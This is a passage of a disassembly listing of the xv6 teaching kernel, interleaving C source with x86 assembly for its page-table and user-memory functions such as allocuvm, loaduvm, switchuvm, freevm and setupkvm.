ff ff call 80102310 <kfree> *pte = 0; 801069f9: 8b 45 e4 mov -0x1c(%ebp),%eax 801069fc: 83 c4 10 add $0x10,%esp 801069ff: c7 00 00 00 00 00 movl $0x0,(%eax) for(; a < oldsz; a += PGSIZE){ 80106a05: 81 c3 00 10 00 00 add $0x1000,%ebx 80106a0b: 39 f3 cmp %esi,%ebx 80106a0d: 73 25 jae 80106a34 <deallocuvm.part.0+0x84> pte = walkpgdir(pgdir, (char*)a, 0); 80106a0f: 31 c9 xor %ecx,%ecx 80106a11: 89 da mov %ebx,%edx 80106a13: 89 f8 mov %edi,%eax 80106a15: e8 86 fe ff ff call 801068a0 <walkpgdir> if(!pte) 80106a1a: 85 c0 test %eax,%eax 80106a1c: 75 ba jne 801069d8 <deallocuvm.part.0+0x28> a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; 80106a1e: 81 e3 00 00 c0 ff and $0xffc00000,%ebx 80106a24: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx for(; a < oldsz; a += PGSIZE){ 80106a2a: 81 c3 00 10 00 00 add $0x1000,%ebx 80106a30: 39 f3 cmp %esi,%ebx 80106a32: 72 db jb 80106a0f <deallocuvm.part.0+0x5f> } } return newsz; } 80106a34: 8b 45 e0 mov -0x20(%ebp),%eax 80106a37: 8d 65 f4 lea -0xc(%ebp),%esp 80106a3a: 5b pop %ebx 80106a3b: 5e pop %esi 80106a3c: 5f pop %edi 80106a3d: 5d pop %ebp 80106a3e: c3 ret panic("kfree"); 80106a3f: 83 ec 0c sub $0xc,%esp 80106a42: 68 46 74 10 80 push $0x80107446 80106a47: e8 44 99 ff ff call 80100390 <panic> 80106a4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106a50 <seginit>: { 80106a50: 55 push %ebp 80106a51: 89 e5 mov %esp,%ebp 80106a53: 83 ec 18 sub $0x18,%esp c = &cpus[cpuid()]; 80106a56: e8 85 cd ff ff call 801037e0 <cpuid> 80106a5b: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax pd[0] = size-1; 80106a61: ba 2f 00 00 00 mov $0x2f,%edx 80106a66: 66 89 55 f2 mov %dx,-0xe(%ebp) c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 80106a6a: c7 80 f8 27 11 80 ff movl $0xffff,-0x7feed808(%eax) 80106a71: ff 00 00 80106a74: c7 80 fc 27 11 80 00 movl $0xcf9a00,-0x7feed804(%eax) 80106a7b: 9a cf 00 c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 80106a7e: c7 80 00 28 11 80 ff movl $0xffff,-0x7feed800(%eax) 80106a85: ff 00 00 80106a88: c7 80 04 28 11 80 00 movl $0xcf9200,-0x7feed7fc(%eax) 80106a8f: 92 cf 00 c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106a92: c7 80 08 28 11 80 ff movl $0xffff,-0x7feed7f8(%eax) 80106a99: ff 00 00 80106a9c: c7 80 0c 28 11 80 00 movl $0xcffa00,-0x7feed7f4(%eax) 80106aa3: fa cf 00 c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 80106aa6: c7 80 10 28 11 80 ff movl $0xffff,-0x7feed7f0(%eax) 80106aad: ff 00 00 80106ab0: c7 80 14 28 11 80 00 movl $0xcff200,-0x7feed7ec(%eax) 80106ab7: f2 cf 00 lgdt(c->gdt, sizeof(c->gdt)); 80106aba: 05 f0 27 11 80 add $0x801127f0,%eax pd[1] = (uint)p; 80106abf: 66 89 45 f4 mov %ax,-0xc(%ebp) pd[2] = (uint)p >> 16; 80106ac3: c1 e8 10 shr $0x10,%eax 80106ac6: 66 89 45 f6 mov %ax,-0xa(%ebp) asm volatile("lgdt (%0)" : : "r" (pd)); 80106aca: 8d 45 f2 lea -0xe(%ebp),%eax 80106acd: 0f 01 10 lgdtl (%eax) } 80106ad0: c9 leave 80106ad1: c3 ret 80106ad2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106ad9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106ae0 <switchkvm>: lcr3(V2P(kpgdir)); // switch to the kernel page table 80106ae0: a1 a4 57 11 80 mov 0x801157a4,%eax { 80106ae5: 55 push %ebp 80106ae6: 89 e5 mov %esp,%ebp lcr3(V2P(kpgdir)); // switch to the kernel page table 80106ae8: 05 00 00 00 80 add $0x80000000,%eax } static inline void lcr3(uint val) { asm volatile("movl %0,%%cr3" : : "r" (val)); 80106aed: 0f 22 d8 mov %eax,%cr3 } 80106af0: 5d pop %ebp 80106af1: c3 ret 80106af2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106af9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106b00 <switchuvm>: { 80106b00: 55 push %ebp 80106b01: 89 e5 mov %esp,%ebp 80106b03: 57 push %edi 80106b04: 56 push %esi 80106b05: 53 push %ebx 80106b06: 83 ec 1c sub $0x1c,%esp 80106b09: 8b 5d 08 mov 0x8(%ebp),%ebx if(p == 0) 80106b0c: 85 db test %ebx,%ebx 80106b0e: 0f 84 cb 00 00 00 je 80106bdf <switchuvm+0xdf> if(p->kstack == 0) 80106b14: 8b 43 08 mov 0x8(%ebx),%eax 80106b17: 85 c0 test %eax,%eax 80106b19: 0f 84 da 00 00 00 je 80106bf9 <switchuvm+0xf9> if(p->pgdir == 0) 80106b1f: 8b 43 04 mov 0x4(%ebx),%eax 80106b22: 85 c0 test %eax,%eax 80106b24: 0f 84 c2 00 00 00 je 80106bec <switchuvm+0xec> pushcli(); 80106b2a: e8 51 da ff ff call 80104580 <pushcli> mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 80106b2f: e8 2c cc ff ff call 80103760 <mycpu> 80106b34: 89 c6 mov %eax,%esi 80106b36: e8 25 cc ff ff call 80103760 <mycpu> 80106b3b: 89 c7 mov %eax,%edi 80106b3d: e8 1e cc ff ff call 80103760 <mycpu> 80106b42: 89 45 e4 mov %eax,-0x1c(%ebp) 80106b45: 83 c7 08 add $0x8,%edi 80106b48: e8 13 cc ff ff call 80103760 <mycpu> 80106b4d: 8b 4d e4 mov -0x1c(%ebp),%ecx 80106b50: 83 c0 08 add $0x8,%eax 80106b53: ba 67 00 00 00 mov $0x67,%edx 80106b58: c1 e8 18 shr $0x18,%eax 80106b5b: 66 89 96 98 00 00 00 mov %dx,0x98(%esi) 80106b62: 66 89 be 9a 00 00 00 mov %di,0x9a(%esi) 80106b69: 88 86 9f 00 00 00 mov %al,0x9f(%esi) mycpu()->ts.iomb = (ushort) 0xFFFF; 80106b6f: bf ff ff ff ff mov $0xffffffff,%edi mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 80106b74: 83 c1 08 add $0x8,%ecx 80106b77: c1 e9 10 shr $0x10,%ecx 80106b7a: 88 8e 9c 00 00 00 mov %cl,0x9c(%esi) 80106b80: b9 99 40 00 00 mov $0x4099,%ecx 80106b85: 66 89 8e 9d 00 00 00 mov %cx,0x9d(%esi) mycpu()->ts.ss0 = SEG_KDATA << 3; 80106b8c: be 10 00 00 00 mov $0x10,%esi mycpu()->gdt[SEG_TSS].s = 0; 80106b91: e8 ca cb ff ff call 80103760 <mycpu> 80106b96: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax) mycpu()->ts.ss0 = SEG_KDATA << 3; 80106b9d: e8 be cb ff ff call 80103760 <mycpu> 80106ba2: 66 89 70 10 mov %si,0x10(%eax) mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE; 80106ba6: 8b 73 08 mov 0x8(%ebx),%esi 80106ba9: e8 b2 cb ff ff call 80103760 <mycpu> 80106bae: 81 c6 00 10 00 00 add $0x1000,%esi 80106bb4: 89 70 0c mov %esi,0xc(%eax) mycpu()->ts.iomb = (ushort) 0xFFFF; 80106bb7: e8 a4 cb ff ff call 80103760 <mycpu> 80106bbc: 66 89 78 6e mov %di,0x6e(%eax) asm volatile("ltr %0" : : "r" (sel)); 80106bc0: b8 28 00 00 00 mov $0x28,%eax 80106bc5: 0f 00 d8 ltr %ax lcr3(V2P(p->pgdir)); // switch to process's address space 80106bc8: 8b 43 04 mov 0x4(%ebx),%eax 80106bcb: 05 00 00 00 80 add $0x80000000,%eax asm volatile("movl %0,%%cr3" : : "r" (val)); 80106bd0: 0f 22 d8 mov %eax,%cr3 } 80106bd3: 8d 65 f4 lea -0xc(%ebp),%esp 80106bd6: 5b pop %ebx 80106bd7: 5e pop %esi 80106bd8: 5f pop %edi 80106bd9: 5d pop %ebp popcli(); 80106bda: e9 e1 d9 ff ff jmp 801045c0 <popcli> panic("switchuvm: no process"); 80106bdf: 83 ec 0c sub $0xc,%esp 80106be2: 68 d2 7b 10 80 push $0x80107bd2 80106be7: e8 a4 97 ff ff call 80100390 <panic> panic("switchuvm: no pgdir"); 80106bec: 83 ec 0c sub $0xc,%esp 80106bef: 68 fd 7b 10 80 push $0x80107bfd 80106bf4: e8 97 97 ff ff call 80100390 <panic> panic("switchuvm: no kstack"); 80106bf9: 83 ec 0c sub $0xc,%esp 80106bfc: 68 e8 7b 10 80 push $0x80107be8 80106c01: e8 8a 97 ff ff call 80100390 <panic> 80106c06: 8d 76 00 lea 0x0(%esi),%esi 80106c09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106c10 <inituvm>: { 80106c10: 55 push %ebp 80106c11: 89 e5 mov %esp,%ebp 80106c13: 57 push %edi 80106c14: 56 push %esi 80106c15: 53 push %ebx 80106c16: 83 ec 1c sub $0x1c,%esp 80106c19: 8b 75 10 mov 0x10(%ebp),%esi 80106c1c: 8b 45 08 mov 0x8(%ebp),%eax 80106c1f: 8b 7d 0c mov 0xc(%ebp),%edi if(sz >= PGSIZE) 80106c22: 81 fe ff 0f 00 00 cmp $0xfff,%esi { 80106c28: 89 45 e4 mov %eax,-0x1c(%ebp) if(sz >= PGSIZE) 80106c2b: 77 49 ja 80106c76 <inituvm+0x66> mem = kalloc(); 80106c2d: e8 8e b8 ff ff call 801024c0 <kalloc> memset(mem, 0, PGSIZE); 80106c32: 83 ec 04 sub $0x4,%esp mem = kalloc(); 80106c35: 89 c3 mov %eax,%ebx memset(mem, 0, PGSIZE); 80106c37: 68 00 10 00 00 push $0x1000 80106c3c: 6a 00 push $0x0 80106c3e: 50 push %eax 80106c3f: e8 1c db ff ff call 80104760 <memset> mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U); 80106c44: 58 pop %eax 80106c45: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80106c4b: b9 00 10 00 00 mov $0x1000,%ecx 80106c50: 5a pop %edx 80106c51: 6a 06 push $0x6 80106c53: 50 push %eax 80106c54: 31 d2 xor %edx,%edx 80106c56: 8b 45 e4 mov -0x1c(%ebp),%eax 80106c59: e8 c2 fc ff ff call 80106920 <mappages> memmove(mem, init, sz); 80106c5e: 89 75 10 mov %esi,0x10(%ebp) 80106c61: 89 7d 0c mov %edi,0xc(%ebp) 80106c64: 83 c4 10 add $0x10,%esp 80106c67: 89 5d 08 mov %ebx,0x8(%ebp) } 80106c6a: 8d 65 f4 lea -0xc(%ebp),%esp 80106c6d: 5b pop %ebx 80106c6e: 5e pop %esi 80106c6f: 5f pop %edi 80106c70: 5d pop %ebp memmove(mem, init, sz); 80106c71: e9 9a db ff ff jmp 80104810 <memmove> panic("inituvm: more than a page"); 80106c76: 83 ec 0c sub $0xc,%esp 80106c79: 68 11 7c 10 80 push $0x80107c11 80106c7e: e8 0d 97 ff ff call 80100390 <panic> 80106c83: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106c89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106c90 <loaduvm>: { 80106c90: 55 push %ebp 80106c91: 89 e5 mov %esp,%ebp 80106c93: 57 push %edi 80106c94: 56 push %esi 80106c95: 53 push %ebx 80106c96: 83 ec 0c sub $0xc,%esp if((uint) addr % PGSIZE != 0) 80106c99: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp) 80106ca0: 0f 85 91 00 00 00 jne 80106d37 <loaduvm+0xa7> for(i = 0; i < sz; i += PGSIZE){ 80106ca6: 8b 75 18 mov 0x18(%ebp),%esi 80106ca9: 31 db xor %ebx,%ebx 80106cab: 85 f6 test %esi,%esi 80106cad: 75 1a jne 80106cc9 <loaduvm+0x39> 80106caf: eb 6f jmp 80106d20 <loaduvm+0x90> 80106cb1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106cb8: 81 c3 00 10 00 00 add $0x1000,%ebx 80106cbe: 81 ee 00 10 00 00 sub $0x1000,%esi 80106cc4: 39 5d 18 cmp %ebx,0x18(%ebp) 80106cc7: 76 57 jbe 80106d20 <loaduvm+0x90> if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) 80106cc9: 8b 55 0c mov 0xc(%ebp),%edx 80106ccc: 8b 45 08 mov 0x8(%ebp),%eax 80106ccf: 31 c9 xor %ecx,%ecx 80106cd1: 01 da add %ebx,%edx 80106cd3: e8 c8 fb ff ff call 801068a0 <walkpgdir> 80106cd8: 85 c0 test %eax,%eax 80106cda: 74 4e je 80106d2a <loaduvm+0x9a> pa = PTE_ADDR(*pte); 80106cdc: 8b 00 mov (%eax),%eax if(readi(ip, P2V(pa), offset+i, n) != n) 80106cde: 8b 4d 14 mov 0x14(%ebp),%ecx if(sz - i < PGSIZE) 80106ce1: bf 00 10 00 00 mov $0x1000,%edi pa = PTE_ADDR(*pte); 80106ce6: 25 00 f0 ff ff and $0xfffff000,%eax if(sz - i < PGSIZE) 80106ceb: 81 fe ff 0f 00 00 cmp $0xfff,%esi 80106cf1: 0f 46 fe cmovbe %esi,%edi if(readi(ip, P2V(pa), offset+i, n) != n) 80106cf4: 01 d9 add %ebx,%ecx 80106cf6: 05 00 00 00 80 add $0x80000000,%eax 80106cfb: 57 push %edi 80106cfc: 51 push %ecx 80106cfd: 50 push %eax 80106cfe: ff 75 10 pushl 0x10(%ebp) 80106d01: e8 5a ac ff ff call 80101960 <readi> 80106d06: 83 c4 10 add $0x10,%esp 80106d09: 39 f8 cmp %edi,%eax 80106d0b: 74 ab je 80106cb8 <loaduvm+0x28> } 80106d0d: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 80106d10: b8 ff ff ff ff mov $0xffffffff,%eax } 80106d15: 5b pop %ebx 80106d16: 5e pop %esi 80106d17: 5f pop %edi 80106d18: 5d pop %ebp 80106d19: c3 ret 80106d1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106d20: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106d23: 31 c0 xor %eax,%eax } 80106d25: 5b pop %ebx 80106d26: 5e pop %esi 80106d27: 5f pop %edi 80106d28: 5d pop %ebp 80106d29: c3 ret panic("loaduvm: address should exist"); 80106d2a: 83 ec 0c sub $0xc,%esp 80106d2d: 68 2b 7c 10 80 push $0x80107c2b 80106d32: e8 59 96 ff ff call 80100390 <panic> panic("loaduvm: addr must be page aligned"); 80106d37: 83 ec 0c sub $0xc,%esp 80106d3a: 68 cc 7c 10 80 push $0x80107ccc 80106d3f: e8 4c 96 ff ff call 80100390 <panic> 80106d44: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106d4a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106d50 <allocuvm>: { 80106d50: 55 push %ebp 80106d51: 89 e5 mov %esp,%ebp 80106d53: 57 push %edi 80106d54: 56 push %esi 80106d55: 53 push %ebx 80106d56: 83 ec 1c sub $0x1c,%esp if(newsz >= KERNBASE) 80106d59: 8b 7d 10 mov 0x10(%ebp),%edi 80106d5c: 85 ff test %edi,%edi 80106d5e: 0f 88 8e 00 00 00 js 80106df2 <allocuvm+0xa2> if(newsz < oldsz) 80106d64: 3b 7d 0c cmp 0xc(%ebp),%edi 80106d67: 0f 82 93 00 00 00 jb 80106e00 <allocuvm+0xb0> a = PGROUNDUP(oldsz); 80106d6d: 8b 45 0c mov 0xc(%ebp),%eax 80106d70: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80106d76: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < newsz; a += PGSIZE){ 80106d7c: 39 5d 10 cmp %ebx,0x10(%ebp) 80106d7f: 0f 86 7e 00 00 00 jbe 80106e03 <allocuvm+0xb3> 80106d85: 89 7d e4 mov %edi,-0x1c(%ebp) 80106d88: 8b 7d 08 mov 0x8(%ebp),%edi 80106d8b: eb 42 jmp 80106dcf <allocuvm+0x7f> 80106d8d: 8d 76 00 lea 0x0(%esi),%esi memset(mem, 0, PGSIZE); 80106d90: 83 ec 04 sub $0x4,%esp 80106d93: 68 00 10 00 00 push $0x1000 80106d98: 6a 00 push $0x0 80106d9a: 50 push %eax 80106d9b: e8 c0 d9 ff ff call 80104760 <memset> if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ 80106da0: 58 pop %eax 80106da1: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 80106da7: b9 00 10 00 00 mov $0x1000,%ecx 80106dac: 5a pop %edx 80106dad: 6a 06 push $0x6 80106daf: 50 push %eax 80106db0: 89 da mov %ebx,%edx 80106db2: 89 f8 mov %edi,%eax 80106db4: e8 67 fb ff ff call 80106920 <mappages> 80106db9: 83 c4 10 add $0x10,%esp 80106dbc: 85 c0 test %eax,%eax 80106dbe: 78 50 js 80106e10 <allocuvm+0xc0> for(; a < newsz; a += PGSIZE){ 80106dc0: 81 c3 00 10 00 00 add $0x1000,%ebx 80106dc6: 39 5d 10 cmp %ebx,0x10(%ebp) 80106dc9: 0f 86 81 00 00 00 jbe 80106e50 <allocuvm+0x100> mem = kalloc(); 80106dcf: e8 ec b6 ff ff call 801024c0 <kalloc> if(mem == 0){ 80106dd4: 85 c0 test %eax,%eax mem = kalloc(); 80106dd6: 89 c6 mov %eax,%esi if(mem == 0){ 80106dd8: 75 b6 jne 80106d90 <allocuvm+0x40> cprintf("allocuvm out of memory\n"); 80106dda: 83 ec 0c sub $0xc,%esp 80106ddd: 68 49 7c 10 80 push $0x80107c49 80106de2: e8 79 98 ff ff call 80100660 <cprintf> if(newsz >= oldsz) 80106de7: 83 c4 10 add $0x10,%esp 80106dea: 8b 45 0c mov 0xc(%ebp),%eax 80106ded: 39 45 10 cmp %eax,0x10(%ebp) 80106df0: 77 6e ja 80106e60 <allocuvm+0x110> } 80106df2: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106df5: 31 ff xor %edi,%edi } 80106df7: 89 f8 mov %edi,%eax 80106df9: 5b pop %ebx 80106dfa: 5e pop %esi 80106dfb: 5f pop %edi 80106dfc: 5d pop %ebp 80106dfd: c3 ret 80106dfe: 66 90 xchg %ax,%ax return oldsz; 80106e00: 8b 7d 0c mov 0xc(%ebp),%edi } 80106e03: 8d 65 f4 lea -0xc(%ebp),%esp 80106e06: 89 f8 mov %edi,%eax 80106e08: 5b pop %ebx 80106e09: 5e pop %esi 80106e0a: 5f pop %edi 80106e0b: 5d pop %ebp 80106e0c: c3 ret 80106e0d: 8d 76 00 lea 0x0(%esi),%esi cprintf("allocuvm out of memory (2)\n"); 80106e10: 83 ec 0c sub $0xc,%esp 80106e13: 68 61 7c 10 80 push $0x80107c61 80106e18: e8 43 98 ff ff call 80100660 <cprintf> if(newsz >= oldsz) 80106e1d: 83 c4 10 add $0x10,%esp 80106e20: 8b 45 0c mov 0xc(%ebp),%eax 80106e23: 39 45 10 cmp %eax,0x10(%ebp) 80106e26: 76 0d jbe 80106e35 <allocuvm+0xe5> 80106e28: 89 c1 mov %eax,%ecx 80106e2a: 8b 55 10 mov 0x10(%ebp),%edx 80106e2d: 8b 45 08 mov 0x8(%ebp),%eax 80106e30: e8 7b fb ff ff call 801069b0 <deallocuvm.part.0> kfree(mem); 80106e35: 83 ec 0c sub $0xc,%esp return 0; 80106e38: 31 ff xor %edi,%edi kfree(mem); 80106e3a: 56 push %esi 80106e3b: e8 d0 b4 ff ff call 80102310 <kfree> return 0; 80106e40: 83 c4 10 add $0x10,%esp } 80106e43: 8d 65 f4 lea -0xc(%ebp),%esp 80106e46: 89 f8 mov %edi,%eax 80106e48: 5b pop %ebx 80106e49: 5e pop %esi 80106e4a: 5f pop %edi 80106e4b: 5d pop %ebp 80106e4c: c3 ret 80106e4d: 8d 76 00 lea 0x0(%esi),%esi 80106e50: 8b 7d e4 mov -0x1c(%ebp),%edi 80106e53: 8d 65 f4 lea -0xc(%ebp),%esp 80106e56: 5b pop %ebx 80106e57: 89 f8 mov %edi,%eax 80106e59: 5e pop %esi 80106e5a: 5f pop %edi 80106e5b: 5d pop %ebp 80106e5c: c3 ret 80106e5d: 8d 76 00 lea 0x0(%esi),%esi 80106e60: 89 c1 mov %eax,%ecx 80106e62: 8b 55 10 mov 0x10(%ebp),%edx 80106e65: 8b 45 08 mov 0x8(%ebp),%eax return 0; 80106e68: 31 ff xor %edi,%edi 80106e6a: e8 41 fb ff ff call 801069b0 <deallocuvm.part.0> 80106e6f: eb 92 jmp 80106e03 <allocuvm+0xb3> 80106e71: eb 0d jmp 80106e80 <deallocuvm> 80106e73: 90 nop 80106e74: 90 nop 80106e75: 90 nop 80106e76: 90 nop 80106e77: 90 nop 80106e78: 90 nop 80106e79: 90 nop 80106e7a: 90 nop 80106e7b: 90 nop 80106e7c: 90 nop 80106e7d: 90 nop 80106e7e: 90 nop 80106e7f: 90 nop 80106e80 <deallocuvm>: { 80106e80: 55 push %ebp 80106e81: 89 e5 mov %esp,%ebp 80106e83: 8b 55 0c mov 0xc(%ebp),%edx 80106e86: 8b 4d 10 mov 0x10(%ebp),%ecx 80106e89: 8b 45 08 mov 0x8(%ebp),%eax if(newsz >= oldsz) 80106e8c: 39 d1 cmp %edx,%ecx 80106e8e: 73 10 jae 80106ea0 <deallocuvm+0x20> } 80106e90: 5d pop %ebp 80106e91: e9 1a fb ff ff jmp 801069b0 <deallocuvm.part.0> 80106e96: 8d 76 00 lea 0x0(%esi),%esi 80106e99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106ea0: 89 d0 mov %edx,%eax 80106ea2: 5d pop %ebp 80106ea3: c3 ret 80106ea4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106eaa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106eb0 <freevm>: // Free a page table and all the physical memory pages // in the user part. void freevm(pde_t *pgdir) { 80106eb0: 55 push %ebp 80106eb1: 89 e5 mov %esp,%ebp 80106eb3: 57 push %edi 80106eb4: 56 push %esi 80106eb5: 53 push %ebx 80106eb6: 83 ec 0c sub $0xc,%esp 80106eb9: 8b 75 08 mov 0x8(%ebp),%esi uint i; if(pgdir == 0) 80106ebc: 85 f6 test %esi,%esi 80106ebe: 74 59 je 80106f19 <freevm+0x69> 80106ec0: 31 c9 xor %ecx,%ecx 80106ec2: ba 00 00 00 80 mov $0x80000000,%edx 80106ec7: 89 f0 mov %esi,%eax 80106ec9: e8 e2 fa ff ff call 801069b0 <deallocuvm.part.0> 80106ece: 89 f3 mov %esi,%ebx 80106ed0: 8d be 00 10 00 00 lea 0x1000(%esi),%edi 80106ed6: eb 0f jmp 80106ee7 <freevm+0x37> 80106ed8: 90 nop 80106ed9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106ee0: 83 c3 04 add $0x4,%ebx panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 80106ee3: 39 fb cmp %edi,%ebx 80106ee5: 74 23 je 80106f0a <freevm+0x5a> if(pgdir[i] & PTE_P){ 80106ee7: 8b 03 mov (%ebx),%eax 80106ee9: a8 01 test $0x1,%al 80106eeb: 74 f3 je 80106ee0 <freevm+0x30> char * v = P2V(PTE_ADDR(pgdir[i])); 80106eed: 25 00 f0 ff ff and $0xfffff000,%eax kfree(v); 80106ef2: 83 ec 0c sub $0xc,%esp 80106ef5: 83 c3 04 add $0x4,%ebx char * v = P2V(PTE_ADDR(pgdir[i])); 80106ef8: 05 00 00 00 80 add $0x80000000,%eax kfree(v); 80106efd: 50 push %eax 80106efe: e8 0d b4 ff ff call 80102310 <kfree> 80106f03: 83 c4 10 add $0x10,%esp for(i = 0; i < NPDENTRIES; i++){ 80106f06: 39 fb cmp %edi,%ebx 80106f08: 75 dd jne 80106ee7 <freevm+0x37> } } kfree((char*)pgdir); 80106f0a: 89 75 08 mov %esi,0x8(%ebp) } 80106f0d: 8d 65 f4 lea -0xc(%ebp),%esp 80106f10: 5b pop %ebx 80106f11: 5e pop %esi 80106f12: 5f pop %edi 80106f13: 5d pop %ebp kfree((char*)pgdir); 80106f14: e9 f7 b3 ff ff jmp 80102310 <kfree> panic("freevm: no pgdir"); 80106f19: 83 ec 0c sub $0xc,%esp 80106f1c: 68 7d 7c 10 80 push $0x80107c7d 80106f21: e8 6a 94 ff ff call 80100390 <panic> 80106f26: 8d 76 00 lea 0x0(%esi),%esi 80106f29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106f30 <setupkvm>: { 80106f30: 55 push %ebp 80106f31: 89 e5 mov %esp,%ebp 80106f33: 56 push %esi 80106f34: 53 push %ebx if((pgdir = (pde_t*)kalloc()) == 0) 80106f35: e8 86 b5 ff ff call 801024c0 <kalloc> 80106f3a: 85 c0 test %eax,%eax 80106f3c: 89 c6 mov %eax,%esi 80106f3e: 74 42 je 80106f82 <setupkvm+0x52> memset(pgdir, 0, PGSIZE); 80106f40: 83 ec 04 sub $0x4,%esp for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106f43: bb 20 a4 10 80 mov $0x8010a420,%ebx memset(pgdir, 0, PGSIZE); 80106f48: 68 00 10 00 00 push $0x1000 80106f4d: 6a 00 push $0x0 80106f4f: 50 push %eax 80106f50: e8 0b d8 ff ff call 80104760 <memset> 80106f55: 83 c4 10 add $0x10,%esp (uint)k->phys_start, k->perm) < 0) { 80106f58: 8b 43 04 mov 0x4(%ebx),%eax if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 80106f5b: 8b 4b 08 mov 0x8(%ebx),%ecx 80106f5e: 83 ec 08 sub $0x8,%esp 80106f61: 8b 13 mov (%ebx),%edx 80106f63: ff 73 0c pushl 0xc(%ebx) 80106f66: 50 push %eax 80106f67: 29 c1 sub %eax,%ecx 80106f69: 89 f0 mov %esi,%eax 80106f6b: e8 b0 f9 ff ff call 80106920 <mappages> 80106f70: 83 c4 10 add $0x10,%esp 80106f73: 85 c0 test %eax,%eax 80106f75: 78 19 js 80106f90 <setupkvm+0x60> for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106f77: 83 c3 10 add $0x10,%ebx 80106f7a: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx 80106f80: 75 d6 jne 80106f58 <setupkvm+0x28> } 80106f82: 8d 65 f8 lea -0x8(%ebp),%esp 80106f85: 89 f0 mov %esi,%eax 80106f87: 5b pop %ebx 80106f88: 5e pop %esi 80106f89: 5d pop %ebp 80106f8a: c3 ret 80106f8b: 90 nop 80106f8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi freevm(pgdir); 80106f90: 83 ec 0c sub $0xc,%esp 80106f93: 56 push %esi return 0; 80106f94: 31 f6 xor %esi,%esi freevm(pgdir); 80106f96: e8 15 ff ff ff call 80106eb0 <freevm> return 0; 80106f9b: 83 c4 10 add $0x10,%esp } 80106f9e: 8d 65 f8 lea -0x8(%ebp),%esp 80106fa1: 89 f0 mov %esi,%eax 80106fa3: 5b pop %ebx 80106fa4: 5e pop %esi 80106fa5: 5d pop %ebp 80106fa6: c3 ret 80106fa7: 89 f6 mov %esi,%esi 80106fa9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106fb0 <kvmalloc>: { 80106fb0: 55 push %ebp 80106fb1: 89 e5 mov %esp,%ebp 80106fb3: 83 ec 08 sub $0x8,%esp kpgdir = setupkvm(); 80106fb6: e8 75 ff ff ff call 80106f30 <setupkvm> 80106fbb: a3 a4 57 11 80 mov %eax,0x801157a4 lcr3(V2P(kpgdir)); // switch to the kernel page table 80106fc0: 05 00 00 00 80 add $0x80000000,%eax 80106fc5: 0f 22 d8 mov %eax,%cr3 } 80106fc8: c9 leave 80106fc9: c3 ret 80106fca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106fd0 <clearpteu>: // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 80106fd0: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106fd1: 31 c9 xor %ecx,%ecx { 80106fd3: 89 e5 mov %esp,%ebp 80106fd5: 83 ec 08 sub $0x8,%esp pte = walkpgdir(pgdir, uva, 0); 80106fd8: 8b 55 0c mov 0xc(%ebp),%edx 80106fdb: 8b 45 08 mov 0x8(%ebp),%eax 80106fde: e8 bd f8 ff ff call 801068a0 <walkpgdir> if(pte == 0) 80106fe3: 85 c0 test %eax,%eax 80106fe5: 74 05 je 80106fec <clearpteu+0x1c> panic("clearpteu"); *pte &= ~PTE_U; 80106fe7: 83 20 fb andl $0xfffffffb,(%eax) } 80106fea: c9 leave 80106feb: c3 ret panic("clearpteu"); 80106fec: 83 ec 0c sub $0xc,%esp 80106fef: 68 8e 7c 10 80 push $0x80107c8e 80106ff4: e8 97 93 ff ff call 80100390 <panic> 80106ff9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 